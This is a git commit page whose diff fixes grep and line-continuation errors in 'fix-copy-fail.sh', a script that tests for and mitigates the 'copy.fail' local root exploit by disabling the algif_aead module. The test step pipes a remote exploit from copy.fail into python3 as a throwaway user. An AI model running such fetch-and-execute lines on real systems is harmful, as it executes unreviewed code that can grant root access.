fix grep, line-contuations
This commit is contained in:
parent
ccb36dde25
commit
d31308e1d7
1 changed files with 6 additions and 6 deletions
12
fix-copy-fail.sh
Normal file → Executable file
12
fix-copy-fail.sh
Normal file → Executable file
|
|
@ -29,7 +29,7 @@
|
||||||
set -x
|
set -x
|
||||||
|
|
||||||
# Delete the test user if it exists
|
# Delete the test user if it exists
|
||||||
grep '^testu ' /etc/passwd && deluser testu;
|
grep '^testu:' /etc/passwd && deluser testu;
|
||||||
# NOTE: this make the script repeatable however
|
# NOTE: this make the script repeatable however
|
||||||
# it will still abandon the 'testu' account
|
# it will still abandon the 'testu' account
|
||||||
#
|
#
|
||||||
|
|
@ -44,11 +44,11 @@ grep '^testu ' /etc/passwd && deluser testu;
|
||||||
adduser --disabled-password --gecos='""' testu \
|
adduser --disabled-password --gecos='""' testu \
|
||||||
&& su testu -c 'cd; curl https://copy.fail/exp | python3 && su -c id' | grep root \
|
&& su testu -c 'cd; curl https://copy.fail/exp | python3 && su -c id' | grep root \
|
||||||
&& echo "EXPLOIT DETECTED: copy.fail FFI, please see: https://copy.fail" \
|
&& echo "EXPLOIT DETECTED: copy.fail FFI, please see: https://copy.fail" \
|
||||||
&& echo
|
&& echo \
|
||||||
&& echo "The system MUST be restarted before confirming the fix."
|
&& echo "The system MUST be restarted before confirming the fix." \
|
||||||
&& echo "If changes are made this should happen automatically but do it manually if that fails."
|
&& echo "If changes are made this should happen automatically but do it manually if that fails." \
|
||||||
&& echo
|
&& echo \
|
||||||
&& echo "Pausing for ten seconds before attempting to fix.."
|
&& echo "Pausing for ten seconds before attempting to fix.." \
|
||||||
&& sleep 10 \
|
&& sleep 10 \
|
||||||
&& echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf \
|
&& echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf \
|
||||||
&& rmmod algif_aead \
|
&& rmmod algif_aead \
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue